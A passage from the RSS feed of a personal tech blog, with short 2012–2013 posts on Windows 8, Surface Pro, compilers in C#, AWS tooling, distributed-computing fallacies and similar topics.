&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;images/WP_20130618_005.jpg&#34; alt=&#34;Surface Pro 1&#34;/&gt;

&lt;/p&gt;
&lt;p&gt;

    &lt;img src=&#34;images/WP_20130618_003.jpg&#34; alt=&#34;Surface Pro 2&#34;/&gt;

&lt;/p&gt;
&lt;p&gt;

    &lt;img src=&#34;images/WP_20130618_002.jpg&#34; alt=&#34;Surface Pro 3&#34;/&gt;

&lt;/p&gt;
&lt;p&gt;

    &lt;img src=&#34;images/WP_20130618_010.jpg&#34; alt=&#34;Surface Pro 4&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Dilbert and Leadership</title>
      <link>/post/2013/07/dilbert-and-leadership/</link>
      <pubDate>Tue, 09 Jul 2013 00:00:00 +0000</pubDate>
      
      <guid>/post/2013/07/dilbert-and-leadership/</guid>
      <description>&lt;p&gt;Enough said!&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/184103.strip_.print_.gif&#34; alt=&#34;&#34;/&gt;
        &lt;figcaption&gt;Dilbert and Leadership&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Don&#39;t ask your boss!</title>
      <link>/post/2013/07/dont-ask-your-boss/</link>
      <pubDate>Tue, 09 Jul 2013 00:00:00 +0000</pubDate>
      
      <guid>/post/2013/07/dont-ask-your-boss/</guid>
      <description>&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;images/asap2.jpg&#34; alt=&#34;Don&amp;rsquo;t ask your boss&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>My TechEd Presentation - Building cross-platform Modern Apps - the Design perspective</title>
      <link>/post/2013/05/my-teched-presentation-building-cross-platform-modern-apps-the-design-perspective/</link>
      <pubDate>Fri, 31 May 2013 00:00:00 +0000</pubDate>
      
      <guid>/post/2013/05/my-teched-presentation-building-cross-platform-modern-apps-the-design-perspective/</guid>
      <description>&lt;p&gt;TechEd a couple of months ago was really fun and I am grateful to Microsoft folks for giving me an opportunity to be both part of the Keynote and also have a slot in the Architecture track. Sorry it has taken me a very long time to upload my TechEd talk &amp;ldquo;Building cross-platform Modern Apps: the Design perspective&amp;rdquo;. But as they say better late than never. 😏&lt;/p&gt;
&lt;p&gt;You can download a copy of my presentation - &lt;a
	
		href = &#34;files/Xamarin-Building-cross-platform.pdf&#34;
	

	

	&gt;
	
	&lt;span&gt;
		Xamarin - Building cross-platform (pdf)
	&lt;/span&gt;
&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Feel free to ping me if you have any questions.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>What are good Win 8 Metro Apps for WordPress authoring?</title>
      <link>/post/2013/05/what-are-good-win-8-metro-apps-for-wordpress-authoring/</link>
      <pubDate>Sat, 25 May 2013 00:00:00 +0000</pubDate>
      
      <guid>/post/2013/05/what-are-good-win-8-metro-apps-for-wordpress-authoring/</guid>
      <description>&lt;blockquote&gt;
&lt;p&gt;I would prefer a Windows 8 Metro app, and not a &amp;rsquo;traditional&amp;rsquo; app for WordPress. I host my own blog (&lt;a
	
		href = &#34;http://desigeek.com&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		http://desigeek.com
	&lt;/span&gt;
&lt;/a&gt;) and need to update that.&lt;/p&gt;&lt;/blockquote&gt;
&lt;p&gt;&lt;a
	
		href = &#34;http://www.quora.com/WordPress-5/What-are-good-Win-8-Metro-Apps-for-WordPress-authoring&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		View Question on Quora
	&lt;/span&gt;
&lt;/a&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>What are some fun things to do in Amsterdam with a 2.5 yr old?</title>
      <link>/post/2013/05/what-are-some-fun-things-to-do-in-amsterdam-with-a-2-5-yr-old/</link>
      <pubDate>Sat, 25 May 2013 00:00:00 +0000</pubDate>
      
      <guid>/post/2013/05/what-are-some-fun-things-to-do-in-amsterdam-with-a-2-5-yr-old/</guid>
      <description>&lt;blockquote&gt;
&lt;p&gt;We will be travelling with a Toddler (2.5 yrs) to Amsterdam and wanted to know what suggestions one has to keep her engaged, excited, and busy?&lt;/p&gt;&lt;/blockquote&gt;
&lt;p&gt;&lt;a
	
		href = &#34;http://www.quora.com/Amsterdam-With-a-Toddler/What-are-some-fun-things-to-do-in-Amsterdam-with-a-2-5-yr-old&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		View Question on Quora
	&lt;/span&gt;
&lt;/a&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Hello World</title>
      <link>/post/2013/05/hello-world/</link>
      <pubDate>Thu, 16 May 2013 00:00:00 +0000</pubDate>
      
      <guid>/post/2013/05/hello-world/</guid>
      <description>&lt;p&gt;Yes, I am still alive. Between a baby and work, don&amp;rsquo;t have time for much else. I did want to say Hello World. Will try and be more regular here.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;images/hello-world.png&#34; alt=&#34;hello world&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Writing a compiler using C#</title>
      <link>/post/2012/10/writing-a-compiler-using-c/</link>
      <pubDate>Tue, 02 Oct 2012 00:00:00 +0000</pubDate>
      
      <guid>/post/2012/10/writing-a-compiler-using-c/</guid>
      <description>&lt;p&gt;I was cleaning out my old papers (finally!) and came across an old paper I had titled &amp;ldquo;&lt;a
	
		href = &#34;https://wiki.dcs.shef.ac.uk/wiki/pub/Ndlprojects/ExtendingMSharpLiterature/BookletCSTools.pdf&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Compiler Writing Tools using C#
	&lt;/span&gt;
&lt;/a&gt;&amp;rdquo; which essentially shows how you can write a number of tools like &lt;a
	
		href = &#34;http://en.wikipedia.org/wiki/Lex_%28software%29&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		lex
	&lt;/span&gt;
&lt;/a&gt; and &lt;a
	
		href = &#34;http://en.wikipedia.org/wiki/Yacc&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		yacc
	&lt;/span&gt;
&lt;/a&gt; but instead of C/C++ on Unix, you use C# and .NET.&lt;/p&gt;
&lt;p&gt;This paper covers the tokenizer, &lt;a
	
		href = &#34;http://en.wikipedia.org/wiki/Formal_grammar&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		grammar
	&lt;/span&gt;
&lt;/a&gt;, &lt;a
	
		href = &#34;http://en.wikipedia.org/wiki/Deterministic_finite_automaton&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		DFA
	&lt;/span&gt;
&lt;/a&gt;, &lt;a
	
		href = &#34;http://en.wikipedia.org/wiki/Nondeterministic_finite_automaton&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		NFA
	&lt;/span&gt;
&lt;/a&gt;, etc. I think conflicts and precedence is one area it would need a little more work. But overall its a very interesting piece of work - especially for one to learn the ropes if a lot of this is new.&lt;/p&gt;
&lt;p&gt;Of course, writing compilers with C, overall is not the most productive experience (it sure is fun though!); if you have never done it before &lt;a
	
		href = &#34;http://www.smlnj.org/sml.html&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Standard ML
	&lt;/span&gt;
&lt;/a&gt; or &lt;a
	
		href = &#34;http://www.haskell.org/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Haskell
	&lt;/span&gt;
&lt;/a&gt; would be a better place to start. If you want to stick to .NET and roll out your own language (or create extensions) then check out &lt;a
	
		href = &#34;http://msdn.microsoft.com/en-us/magazine/cc136756.aspx&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		this paper on MSDN
	&lt;/span&gt;
&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;All of this brought back memories when I wrote my own C++ compilers mainly with those tools on Unix System V and also on Xenix. Most people did not know (or perhaps remember) that Microsoft had a Unix version called &lt;a
	
		href = &#34;http://en.wikipedia.org/wiki/Xenix&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Xenix
	&lt;/span&gt;
&lt;/a&gt; which was later bought over by SCO and eventually become part of SCO Unix. Back in the days I use to run a dual-boot machine with Xenix and DOS. 😄&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Can Microsoft win against this?</title>
      <link>/post/2012/10/can-microsoft-win-against-this/</link>
      <pubDate>Mon, 01 Oct 2012 00:00:00 +0000</pubDate>
      
      <guid>/post/2012/10/can-microsoft-win-against-this/</guid>
      <description>&lt;p&gt;After seeing this, I think I also want the &amp;ldquo;Apple 5&amp;rdquo;; supposedly this lady is true and has been waiting in line for 2 days.&lt;/p&gt;
&lt;p&gt;{Credit: &lt;a
	
		href = &#34;http://wmpoweruser.com/can-microsoft-win-against-this/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		wmpoweruser.com
	&lt;/span&gt;
&lt;/a&gt;}&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>On Windows 8</title>
      <link>/post/2012/08/on-windows-8/</link>
      <pubDate>Thu, 30 Aug 2012 00:00:00 +0000</pubDate>
      
      <guid>/post/2012/08/on-windows-8/</guid>
      <description>&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;images/083012_0424_OnWindows81.jpg&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Large collection of Free eBooks from MS</title>
      <link>/post/2012/08/large-collection-of-free-ebooks-from-ms/</link>
      <pubDate>Sat, 04 Aug 2012 00:00:00 +0000</pubDate>
      
      <guid>/post/2012/08/large-collection-of-free-ebooks-from-ms/</guid>
      <description>&lt;p&gt;Microsoft folks have released a large collection of free eBooks including Visual Studio, WP, Win 8, Office 365, SQL, Azure, CRM, etc. You can get more details from the following two posts where not only you can browse the catalogue but also download them.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a
	
		href = &#34;http://blogs.msdn.com/b/mssmallbiz/archive/2012/07/27/large-collection-of-free-microsoft-ebooks-for-you-including-sharepoint-visual-studio-windows-phone-windows-8-office-365-office-2010-sql-server-2012-azure-and-more.aspx&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		First post
	&lt;/span&gt;
&lt;/a&gt; with free books&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;http://blogs.msdn.com/b/mssmallbiz/archive/2012/07/30/another-large-collection-of-free-microsoft-ebooks-and-resource-kits-for-you-including-sharepoint-2013-office-2013-office-365-duet-2-0-azure-cloud-windows-phone-lync-dynamics-crm-and-more.aspx?wa=wsignin1.0&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Second post
	&lt;/span&gt;
&lt;/a&gt; with free books&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Happy Leeching!&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Cloud thinking</title>
      <link>/post/2012/07/cloud-thinking/</link>
      <pubDate>Wed, 25 Jul 2012 00:00:00 +0000</pubDate>
      
      <guid>/post/2012/07/cloud-thinking/</guid>
      <description>&lt;p&gt;I did a quick internal brown bag on Cloud computing yesterday. It is interesting to still get to meet folks who don’t have much ideas on Cloud and what the various types are, what they mean and their value. In any case, cloud is just full of hot air. ! 😄&lt;/p&gt;
&lt;p&gt;I always found, most people can get it when they can relate to cloud usage as a consumer. And of course the CoIT and BYOD will just help accelerate that and bring the usage out in the front. I personally am a heavy cloud user and use it all the time. I also have a local copy of almost everything, I still don’t trust the broadband providers – lots of things that can go wrong.&lt;/p&gt;
&lt;p&gt;If you are new, welcome to the ride.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Redis on Windows 8 and VS 2012 RC?</title>
      <link>/post/2012/07/redis-on-windows-8-and-vs-2012-rc/</link>
      <pubDate>Thu, 12 Jul 2012 00:00:00 +0000</pubDate>
      
      <guid>/post/2012/07/redis-on-windows-8-and-vs-2012-rc/</guid>
      <description>&lt;p&gt;I am trying to see if I can get &lt;a
	
		href = &#34;http://redis.io/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Redis
	&lt;/span&gt;
&lt;/a&gt; working on Windows 8 using Visual Studio 2012 RC bits – I have not had much success, but then I have not had much time to invest to try this out.&lt;/p&gt;
&lt;p&gt;I am wanting to give a demo tomorrow and would be good to see if I can get this working. Curious to know if anyone else has got this?&lt;/p&gt;
&lt;p&gt;If not Redis, then have you got some other implementation working on Windows 8? I was thinking of &lt;a
	
		href = &#34;http://ravendb.net&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		RavenDB
	&lt;/span&gt;
&lt;/a&gt;.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Creating Word Maps / Word Clouds</title>
      <link>/post/2012/07/creating-word-maps-word-clouds/</link>
      <pubDate>Sat, 07 Jul 2012 00:00:00 +0000</pubDate>
      
      <guid>/post/2012/07/creating-word-maps-word-clouds/</guid>
      <description>&lt;p&gt;I am giving a presentation next week on NoSQL and as part of that I wanted to create a Word Map, similar to the ones I have seen in the Guardian over the years. After searching a little, I came across the following two sites which do an excellent job of this. Both of them allow a number of options to customise the output and I think are very cool!&lt;/p&gt;
&lt;p&gt;The first one is &lt;a
	
		href = &#34;http://www.jasondavies.com/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Jason Davies
	&lt;/span&gt;
&lt;/a&gt;, &lt;a
	
		href = &#34;http://www.jasondavies.com/wordcloud&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		World Cloud
	&lt;/span&gt;
&lt;/a&gt; that is open source and you can integrate online searches, twitter searches, etc. The word map below is an example output when I &lt;a
	
		href = &#34;http://www.jasondavies.com/wordcloud/#http%3A%2F%2Fsearch.twitter.com%2Fsearch.json%3Frpp%3D100%26q%3D%7Bword%7D=bahree&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		search “bahree” on twitter
	&lt;/span&gt;
&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;images/image.png&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/image_thumb.png&#34; alt=&#34;image&#34;/&gt;
        &lt;figcaption&gt;image&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Fallacies of Distributed Computing</title>
      <link>/post/2012/07/fallacies-of-distributed-computing/</link>
      <pubDate>Sat, 07 Jul 2012 00:00:00 +0000</pubDate>
      
      <guid>/post/2012/07/fallacies-of-distributed-computing/</guid>
      <description>&lt;p&gt;I was reading something and came across these &lt;a
	
		href = &#34;http://en.wikipedia.org/wiki/Fallacies_of_Distributed_Computing&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		fallacies of Distributed Computing
	&lt;/span&gt;
&lt;/a&gt; which all beginners (to distributed computing) have. Oh how we all learn.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;The network is reliable&lt;/li&gt;
&lt;li&gt;Latency is zero&lt;/li&gt;
&lt;li&gt;Bandwidth is infinite&lt;/li&gt;
&lt;li&gt;The network is secure&lt;/li&gt;
&lt;li&gt;Topology doesn&amp;rsquo;t change&lt;/li&gt;
&lt;li&gt;There is only one administrator&lt;/li&gt;
&lt;li&gt;Transport cost is zero&lt;/li&gt;
&lt;li&gt;The network is homogeneous&lt;/li&gt;
&lt;/ol&gt;
</description>
    </item>
    
    <item>
      <title>WHS is back!</title>
      <link>/post/2012/07/whs-is-back/</link>
      <pubDate>Tue, 03 Jul 2012 00:00:00 +0000</pubDate>
      
      <guid>/post/2012/07/whs-is-back/</guid>
      <description>&lt;p&gt;My WHS was dead for close to a year now with no automatic backups happening! I knew the issue was one of the HDD’s had failed, but I did not have time to take them out and plug them somewhere else to figure out the exact issue. I finally bought a couple of new disks and restored the WHS over the weekend and everything is running fine now. Also got about 101 GB backed up on S3, which is good.&lt;/p&gt;
&lt;p&gt;Now, the question I have is which Add-ins do you recommend? I have the original WHS (v1) and not Vail (WHS 2011). I am already running Cloudberry. I would like something which can tweet the health status which I can monitor.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Metro Apps in C&#43;&#43; anyone?</title>
      <link>/post/2012/05/metro-apps-in-c-anyone/</link>
      <pubDate>Sat, 19 May 2012 00:00:00 +0000</pubDate>
      
      <guid>/post/2012/05/metro-apps-in-c-anyone/</guid>
      <description>&lt;p&gt;In Visual Studio “11” when I try and create a new C++ Metro app using the built-in template, I get the following error: “Can’t find localized resources”.&lt;/p&gt;
&lt;p&gt;I wonder if anyone else has managed to get around this? I am running the Consumer Preview Build of Win 8 (Build 8250).&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;images/image.png&#34; alt=&#34;image&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;images/image1.png&#34; alt=&#34;image&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>SkyDrive, Windows 8 and Domain Account</title>
      <link>/post/2012/04/skydrive-windows-8-and-domain-account/</link>
      <pubDate>Wed, 25 Apr 2012 00:00:00 +0000</pubDate>
      
      <guid>/post/2012/04/skydrive-windows-8-and-domain-account/</guid>
      <description>&lt;p&gt;I am running Windows 8 on my primary work machine now, which is domain joined. When I try and use the SkyDrive metro app (which ships with Windows 8), it does not like that fact I am domain joined and wants me to switch accounts, which is something I don’t want to do. This of course works great for those who are not domain joined and essentially are personal machines. For many of us who will be using this on ‘work’ machines, this seems like we will be ignored.&lt;/p&gt;
&lt;p&gt;Of course I can install the &lt;a
	
		href = &#34;https://apps.live.com/skydrive/app/9a65e47d-606a-4816-a246-90f54bf7a3ea&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		desktop app
	&lt;/span&gt;
&lt;/a&gt;, but that is not Metro and I am then in the ‘old’ world. Also the free 25 GB has now dropped to 7 GB, if you already have a Live account, I suggest you login and &lt;a
	
		href = &#34;https://skydrive.live.com/ManageStorage&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		upgrade your account
	&lt;/span&gt;
&lt;/a&gt; back to 25 GB for free!&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;images/image1.png&#34; alt=&#34;image&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Concurrency and CEP</title>
      <link>/post/2012/04/concurrency-and-cep/</link>
      <pubDate>Wed, 18 Apr 2012 00:00:00 +0000</pubDate>
      
      <guid>/post/2012/04/concurrency-and-cep/</guid>
      <description>&lt;p&gt;The sooner we all understand the Concurrency ≠ CEP (Complex Event Processing), the better the world will be!&lt;/p&gt;
&lt;p&gt;CEP is generally used when we implement real-time systems (of course that is not the only area where CEP is used). Real-time does not mean concurrent or for that matter high-performing system.&lt;/p&gt;
&lt;p&gt;Of course there are correlations, but at the same time they are fundamentally different paradigms.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>AWS Extension for Visual Studio</title>
      <link>/post/2012/04/aws-extension-for-visual-studio/</link>
      <pubDate>Sat, 14 Apr 2012 00:00:00 +0000</pubDate>
      
      <guid>/post/2012/04/aws-extension-for-visual-studio/</guid>
      <description>&lt;p&gt;I had forgotten that I had the &lt;a
	
		href = &#34;http://aws.amazon.com/visualstudio/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		AWS Extension for Visual Studio
	&lt;/span&gt;
&lt;/a&gt; installed until recently I noticed AWS Explorer item in the View menu option. This add-in allows you to explore the various features that Amazon exposes right from within Visual Studio. The toolkit makes it easier for developers to debug and deploy a .NET solutions that uses AWS.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;images/image.png&#34; alt=&#34;image&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;When you install this, you also get AWS SDK for .NET which provides one with all the building blocks that are required for consuming the IaaS services exposed by AWS including &lt;a
	
		href = &#34;http://aws.amazon.com/simpledb/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		SimpleDB
	&lt;/span&gt;
&lt;/a&gt;, &lt;a
	
		href = &#34;http://aws.amazon.com/s3/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		S3
	&lt;/span&gt;
&lt;/a&gt; and &lt;a
	
		href = &#34;http://aws.amazon.com/ec2/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		EC2
	&lt;/span&gt;
&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;If you are or planning to use AWS, this add-in is a must have in my opinion.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Had to post this!</title>
      <link>/post/2012/03/had-to-post-this/</link>
      <pubDate>Mon, 26 Mar 2012 00:00:00 +0000</pubDate>
      
      <guid>/post/2012/03/had-to-post-this/</guid>
      <description>&lt;p&gt;Got this in one of the chain emails, and thought it was too funny to pass up.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/interesting-thought-of-the-day.jpg&#34; alt=&#34;interesting thought of the day&#34;/&gt;
        &lt;figcaption&gt;Thought of the day&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Thought of the day</title>
      <link>/post/2012/03/thought-of-the-day-5/</link>
      <pubDate>Thu, 22 Mar 2012 00:00:00 +0000</pubDate>
      
      <guid>/post/2012/03/thought-of-the-day-5/</guid>
      <description>&lt;p&gt;Whilst the following was said in the context of mobile ad-hoc network (&lt;a
	
		href = &#34;http://en.wikipedia.org/wiki/Mobile_ad_hoc_network&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		MANETs
	&lt;/span&gt;
&lt;/a&gt;) I believe it can hold of many situations that life throws at us.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Efficiency and quality are of equal importance!! Both come from experience, not from study. Study as you go, don&amp;rsquo;t assume that you&amp;rsquo;re ready for the real world because you studied first.&lt;/p&gt;
&lt;p&gt;—Jon Davis&lt;/p&gt;&lt;/blockquote&gt;
</description>
    </item>
    
    <item>
      <title>Suggestions for a new Camera?</title>
      <link>/post/2012/03/suggestions-for-a-new-camera/</link>
      <pubDate>Sat, 17 Mar 2012 00:00:00 +0000</pubDate>
      
      <guid>/post/2012/03/suggestions-for-a-new-camera/</guid>
      <description>&lt;p&gt;Our current camera (&lt;a
	
		href = &#34;http://www.canon.co.uk/for_home/product_finder/cameras/digital_camera/ixus/digital_ixus_860_is/index.aspx&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Canon IXUS 860 IS
	&lt;/span&gt;
&lt;/a&gt;) is on the last dying leg – the camera itself works OK, but the screen is going to give up any day now – there are big holes where the pixels are dead (looks like a black hole). We love this model and want something along the same form factor and not interesting in anything fancy. One of the options was the new &lt;a
	
		href = &#34;http://www.canon.co.uk/For_Home/Product_Finder/Cameras/Digital_Camera/IXUS/IXUS_240_HS/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Canon IXUS 240 HS
	&lt;/span&gt;
&lt;/a&gt; which has a built-in Wifi connection and has just been released, though is not available in all the markets.&lt;/p&gt;
&lt;p&gt;As it happens I am going to be flying through Singapore soon and was thinking of picking one up at duty free. Does anyone have any recommendations for a model along the same lines? Want something decent enough in a small form factor.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>What I am working on today? Optimisation Algorithms</title>
      <link>/post/2012/03/what-i-am-working-on-today-optimisation-algorithms/</link>
      <pubDate>Sat, 17 Mar 2012 00:00:00 +0000</pubDate>
      
      <guid>/post/2012/03/what-i-am-working-on-today-optimisation-algorithms/</guid>
      <description>&lt;p&gt;I often get the question – a what am I working on today? Some of the things I can’t discuss in an open forum, but some I can. Those that I can, I thought it was best to share via my blog and do quick small posts on it. Will this become a new series? Well time will tell – depends on how much bandwidth I will have.&lt;/p&gt;
&lt;p&gt;This weekend, I am researching &lt;a
	
		href = &#34;http://en.wikipedia.org/wiki/Optimization_%28mathematics%29&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Optimisation Algorithms
	&lt;/span&gt;
&lt;/a&gt; – both Deterministic and Probabilistic. Specifically interested in &lt;a
	
		href = &#34;http://en.wikipedia.org/wiki/Swarm_intelligence&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Swarm Intelligence
	&lt;/span&gt;
&lt;/a&gt; (which are a type of Monte Carlo algorithm) and in that in &lt;a
	
		href = &#34;http://en.wikipedia.org/wiki/Swarm_intelligence#Ant-based_routing&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Ant Colony
	&lt;/span&gt;
&lt;/a&gt; and &lt;a
	
		href = &#34;http://en.wikipedia.org/wiki/Swarm_intelligence#Crowd_simulation&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Particle Swarm
	&lt;/span&gt;
&lt;/a&gt; routing are the main ones I am researching.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Realisation of the Day</title>
      <link>/post/2012/03/realisation-of-the-day/</link>
      <pubDate>Sat, 10 Mar 2012 00:00:00 +0000</pubDate>
      
      <guid>/post/2012/03/realisation-of-the-day/</guid>
      <description>&lt;p&gt;A common mistake people make when designing a computer system completely fool proof is to underestimate the ingenuity of complete fools :)&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Enabling Win 8 Metro on a Netbook</title>
      <link>/post/2012/03/enabling-win-8-metro-on-a-netbook/</link>
      <pubDate>Tue, 06 Mar 2012 00:00:00 +0000</pubDate>
      
      <guid>/post/2012/03/enabling-win-8-metro-on-a-netbook/</guid>
      <description>&lt;p&gt;When you install Win 8 on a Netbook the screen resolution would be too low for Metro apps to run which is a bummer. One way to get around this and “fix” this is to update the registry (and you thought that was so XP!) 😄.&lt;/p&gt;
&lt;p&gt;Run Regedit and search for “&lt;strong&gt;&lt;code&gt;display1_downscalingsupported&lt;/code&gt;&lt;/strong&gt;” (without quotes). Find all occurrences of this entry and change its value from 0 to 1.&lt;/p&gt;
&lt;p&gt;Reboot when finished and you should have more options on your Screen Resolution choosing which will allow you to run Metro. &amp;#x1f604;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>A great example of a MANET</title>
      <link>/post/2012/03/a-great-example-of-a-manet/</link>
      <pubDate>Thu, 01 Mar 2012 00:00:00 +0000</pubDate>
      
      <guid>/post/2012/03/a-great-example-of-a-manet/</guid>
      <description>&lt;p&gt;I have been doing some research on MANETs and UAV’s and &lt;a
	
		href = &#34;http://blog.ted.com/2012/02/29/the-james-bond-of-robots-vijay-kumar-at-ted2012/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		this TED talk
	&lt;/span&gt;
